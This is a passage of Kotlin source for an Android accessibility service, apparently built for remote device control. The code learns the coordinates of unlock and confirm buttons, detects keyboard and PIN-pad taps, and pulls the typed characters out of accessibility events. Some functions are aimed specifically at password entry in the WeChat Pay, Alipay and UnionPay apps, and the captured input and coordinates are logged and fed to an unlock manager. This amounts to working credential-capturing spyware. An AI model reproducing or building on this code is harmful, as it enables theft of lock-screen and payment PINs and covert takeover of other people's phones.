Log.d(TAG, "🔍 发现 ${confirmCandidates.size} 个确认按钮候选")
// 智能选择最可能的确认按钮
val bestCandidate = selectBestConfirmCandidate(confirmCandidates)
if (bestCandidate != null) {
val bounds = android.graphics.Rect()
bestCandidate.getBoundsInScreen(bounds)
val centerX = bounds.centerX().toFloat()
val centerY = bounds.centerY().toFloat()
lastConfirmClickCoordinate = Pair(centerX, centerY)
Log.d(TAG, "✅ 智能学习到确认按钮坐标: ($centerX, $centerY)")
// 记录确认按钮的详细信息用于后续识别
recordConfirmButtonInfo(bestCandidate, centerX, centerY)
}
}
/**
* ✅ 查找确认按钮候选节点
*/
private fun findConfirmButtonCandidates(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
val candidates = mutableListOf<AccessibilityNodeInfo>()
// 确认按钮的常见文本
val confirmTexts = listOf(
"确认", "确定", "OK", "完成", "解锁", "登录", "提交",
"Enter", "Done", "Unlock", "Login", "Submit", "Continue",
"下一步", "Next", "Go", "开始", "Start"
)
// 递归查找所有可点击的节点
findClickableNodes(rootNode, candidates)
// 过滤出可能的确认按钮
return candidates.filter { node ->
val text = node.text?.toString()?.trim() ?: ""
val contentDesc = node.contentDescription?.toString()?.trim() ?: ""
val className = node.className?.toString() ?: ""
// ✅ 排除描述性文本(包含连字符、过长文本等)
if (text.contains("-") || text.contains("") || text.length > 15) {
return@filter false
}
// 检查文本匹配
val textMatches = confirmTexts.any { confirmText ->
text.contains(confirmText, ignoreCase = true) ||
contentDesc.contains(confirmText, ignoreCase = true)
}
// 检查是否是按钮类型
val isButton = className.contains("Button", ignoreCase = true) ||
className.contains("ImageView", ignoreCase = true)
// 检查位置(确认按钮通常在屏幕下方)
val bounds = android.graphics.Rect()
node.getBoundsInScreen(bounds)
val screenHeight = service.resources.displayMetrics.heightPixels
val isInBottomHalf = bounds.centerY() > screenHeight * 0.5
textMatches && isButton && isInBottomHalf
}
}
/**
* ✅ 递归查找所有可点击节点
*/
private fun findClickableNodes(node: AccessibilityNodeInfo, result: MutableList<AccessibilityNodeInfo>) {
if (node.isClickable) {
result.add(node)
}
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
findClickableNodes(child, result)
child.recycle()
}
}
}
/**
* ✅ 选择最佳确认按钮候选
*/
private fun selectBestConfirmCandidate(candidates: List<AccessibilityNodeInfo>): AccessibilityNodeInfo? {
if (candidates.isEmpty()) return null
if (candidates.size == 1) return candidates[0]
// 评分系统选择最佳候选
return candidates.maxByOrNull { node ->
var score = 0
val text = node.text?.toString()?.trim() ?: ""
val contentDesc = node.contentDescription?.toString()?.trim() ?: ""
// 文本匹配度评分
when {
text.equals("确认", ignoreCase = true) || text.equals("OK", ignoreCase = true) -> score += 10
text.equals("Enter", ignoreCase = true) -> score += 10 // ✅ 为Enter按钮添加最高分
text.equals("确定", ignoreCase = true) || text.equals("Done", ignoreCase = true) -> score += 8
text.contains("解锁", ignoreCase = true) || text.contains("Unlock", ignoreCase = true) -> score += 9
text.contains("登录", ignoreCase = true) || text.contains("Login", ignoreCase = true) -> score += 7
}
// 位置评分(右下角优先)
val bounds = android.graphics.Rect()
node.getBoundsInScreen(bounds)
val screenWidth = service.resources.displayMetrics.widthPixels
val screenHeight = service.resources.displayMetrics.heightPixels
if (bounds.centerX() > screenWidth * 0.6 && bounds.centerY() > screenHeight * 0.7) {
score += 5
}
score
}
}
/**
* ✅ 检查是否正在进行数字密码输入
*/
private fun isCurrentlyInputtingNumericPassword(): Boolean {
try {
// 检查最近5秒内是否有数字密码输入操作
val currentTime = System.currentTimeMillis()
val recentTimeWindow = 5000L // 5秒
// 检查数字密码序列是否有最近的活动
val hasRecentNumericInput = numericPasswordSequence.isNotEmpty() &&
numericPasswordSequence.any { event ->
val timestamp = event["timestamp"] as? Long ?: 0L
currentTime - timestamp <= recentTimeWindow
}
// 也检查是否检测到数字0这通常表示正在进行数字密码输入
val hasDetectedZeroRecently = hasDetectedZero
val isInputting = hasRecentNumericInput || hasDetectedZeroRecently
if (isInputting) {
Log.d(TAG, "🔢 检测到正在进行数字密码输入: 序列=${numericPasswordSequence.size}个事件, 检测到0=$hasDetectedZero")
}
return isInputting
} catch (e: Exception) {
Log.w(TAG, "检查数字密码输入状态时出错: ${e.message}")
return false
}
}
/**
* ✅ 记录确认按钮信息用于后续识别
*/
private fun recordConfirmButtonInfo(node: AccessibilityNodeInfo, x: Float, y: Float) {
val text = node.text?.toString() ?: ""
val contentDesc = node.contentDescription?.toString() ?: ""
val className = node.className?.toString() ?: ""
val bounds = android.graphics.Rect()
node.getBoundsInScreen(bounds)
// ✅ 检查是否正在进行数字密码输入,如果是则不记录确认按钮坐标
if (isCurrentlyInputtingNumericPassword()) {
Log.d(TAG, "🔢 检测到正在输入数字密码,跳过确认按钮坐标记录: ($x, $y)")
return
}
// ✅ 最简单方案直接更新学习坐标到UnlockManager
try {
val screenWidth = service.resources.displayMetrics.widthPixels
val screenHeight = service.resources.displayMetrics.heightPixels
// 调用AccessibilityRemoteService的recordManualConfirmButtonCoords方法
service.recordManualConfirmButtonCoords(
x = x,
y = y,
source = "learned_from_operation",
confidence = 10.0f, // 高权重,确保被优先使用
buttonText = text,
buttonDesc = contentDesc
)
Log.i(TAG, "✅ 已更新学习坐标到UnlockManager: ($x, $y), 文本='$text'")
} catch (e: Exception) {
Log.e(TAG, "❌ 更新学习坐标失败: ($x, $y)", e)
}
logScope.launch {
recordLog(
"CONFIRM_BUTTON_LEARNED",
"学习到确认按钮: 文本='$text', 位置=($x, $y)",
mapOf(
"buttonText" to text,
"contentDescription" to contentDesc,
"className" to className,
"centerX" to x,
"centerY" to y,
"bounds" to mapOf(
"left" to bounds.left,
"top" to bounds.top,
"right" to bounds.right,
"bottom" to bounds.bottom
),
"learnTime" to System.currentTimeMillis(),
"confidence" to "high"
)
)
}
}
/**
* ✅ 创建模拟的密码输入事件用于分析
*/
private fun createSimulatedPasswordEvent(digit: String, simulatedText: String, className: String, packageName: String): AccessibilityEvent {
val event = AccessibilityEvent.obtain(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED)
event.packageName = packageName
event.className = className
event.text.add(simulatedText)
event.beforeText = "".repeat(maxOf(0, simulatedText.length - 1))
event.isPassword = true
return event
}
/**
* ✅ 强化键盘点击检测 - 专门用于第三方应用
*/
private fun detectKeyboardClick(packageName: String, className: String, eventText: String, contentDesc: String): Boolean {
// 1. 检查包名是否为输入法
val isInputMethod = packageName.lowercase().let { pkg ->
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
pkg.contains("baidu") || pkg.contains("iflytek") || pkg.contains("samsung") ||
pkg.contains("huawei") || pkg.contains("xiaomi") || pkg.contains("oppo") || pkg.contains("vivo")
}
// 2. 检查类名是否像键盘控件
val isKeyboardClass = className.lowercase().let { cls ->
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
cls.contains("digit") || cls.contains("char") || cls.contains("layout") ||
cls.contains("pad") || cls.contains("board") || cls.contains("numeric")
}
// 3. 检查文本是否为键盘字符
val isKeyboardText = eventText.let { text ->
text.length == 1 || // 单字符
text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]")) || // 键盘字符
extractDigitFromText(text) != null || // 包含数字
text.matches(Regex(".*[0-9].*")) // 包含数字的复合文本
}
// 4. 检查描述是否像键盘
val isKeyboardDesc = contentDesc.lowercase().let { desc ->
desc.contains("key") || desc.contains("按键") || desc.contains("") ||
desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
desc.matches(Regex(".*[0-9a-zA-Z].*")) || desc.contains("字母") ||
desc.contains("符号") || desc.contains("空格") || desc.contains("删除")
}
// 5. 微信特殊检测:支付密码界面的数字按钮
val isWeChatPayment = packageName.contains("tencent.mm") && (
className.contains("button") || className.contains("view") ||
eventText.matches(Regex("[0-9]")) || contentDesc.matches(Regex("[0-9]"))
)
val result = isInputMethod || isKeyboardClass || isKeyboardText || isKeyboardDesc || isWeChatPayment
if (result) {
Log.d(TAG, "🔍 [键盘检测] 检测到键盘点击:")
Log.d(TAG, " 输入法: $isInputMethod")
Log.d(TAG, " 键盘类名: $isKeyboardClass")
Log.d(TAG, " 键盘文本: $isKeyboardText")
Log.d(TAG, " 键盘描述: $isKeyboardDesc")
Log.d(TAG, " 微信支付: $isWeChatPayment")
}
return result
}
/**
* ✅ 提取键盘字符 - 从多种源提取最可能的字符
*/
private fun extractKeyboardCharacter(eventText: String, contentDesc: String, className: String): String {
// 1. 优先从文本提取单字符
if (eventText.length == 1 && eventText.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) {
return eventText
}
// 2. 从文本提取数字
val textDigit = extractDigitFromText(eventText)
if (textDigit != null) {
return textDigit
}
// 3. 从描述提取字符
if (contentDesc.length == 1 && contentDesc.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) {
return contentDesc
}
// 4. 从描述提取数字
val descDigit = extractDigitFromText(contentDesc)
if (descDigit != null) {
return descDigit
}
// 5. 特殊字符映射
val specialMappings = mapOf(
"space" to " ",
"空格" to " ",
"delete" to "",
"删除" to "",
"backspace" to "",
"回退" to "",
"enter" to "",
"确认" to "",
"返回" to ""
)
val lowerDesc = contentDesc.lowercase()
for ((key, value) in specialMappings) {
if (lowerDesc.contains(key)) {
return value
}
}
// 6. 如果文本包含数字,提取第一个数字
val firstDigit = eventText.firstOrNull { it.isDigit() }
if (firstDigit != null) {
return firstDigit.toString()
}
// 7. 如果描述包含数字,提取第一个数字
val firstDescDigit = contentDesc.firstOrNull { it.isDigit() }
if (firstDescDigit != null) {
return firstDescDigit.toString()
}
// 8. 返回原始文本的第一个字符(如果合理)
if (eventText.isNotEmpty() && eventText.length <= 3) {
return eventText.take(1)
}
return ""
}
/**
* ✅ 增强检测的安全开关
*/
private fun shouldUseEnhancedDetection(packageName: String, className: String, text: String, contentDescription: String): Boolean {
// 1. 检查增强模式是否激活且未超时
val currentTime = System.currentTimeMillis()
if (!isEnhancedDetectionMode || (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) {
if (isEnhancedDetectionMode && (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) {
deactivateEnhancedDetection("超时自动关闭")
}
return false
}
// 2. 检查是否为第三方应用排除SystemUI
if (packageName.contains("systemui", ignoreCase = true)) {
return false
}
// 3. 检查是否为支付应用
val isPaymentApp = packageName.contains("tencent.mm") ||
packageName.contains("alipay") ||
packageName.contains("unionpay")
if (!isPaymentApp) {
return false
}
// 4. 检查是否为键盘相关的点击
val isKeyboardRelated = className.lowercase().let { cls ->
cls.contains("button") || cls.contains("view") || cls.contains("key") ||
cls.contains("input") || cls.contains("layout")
}
// 5. 检查文本或描述是否包含数字字符
val hasNumericContent = text.matches(Regex(".*[0-9].*")) ||
contentDescription.matches(Regex(".*[0-9].*")) ||
text.length == 1
return isKeyboardRelated && hasNumericContent
}
}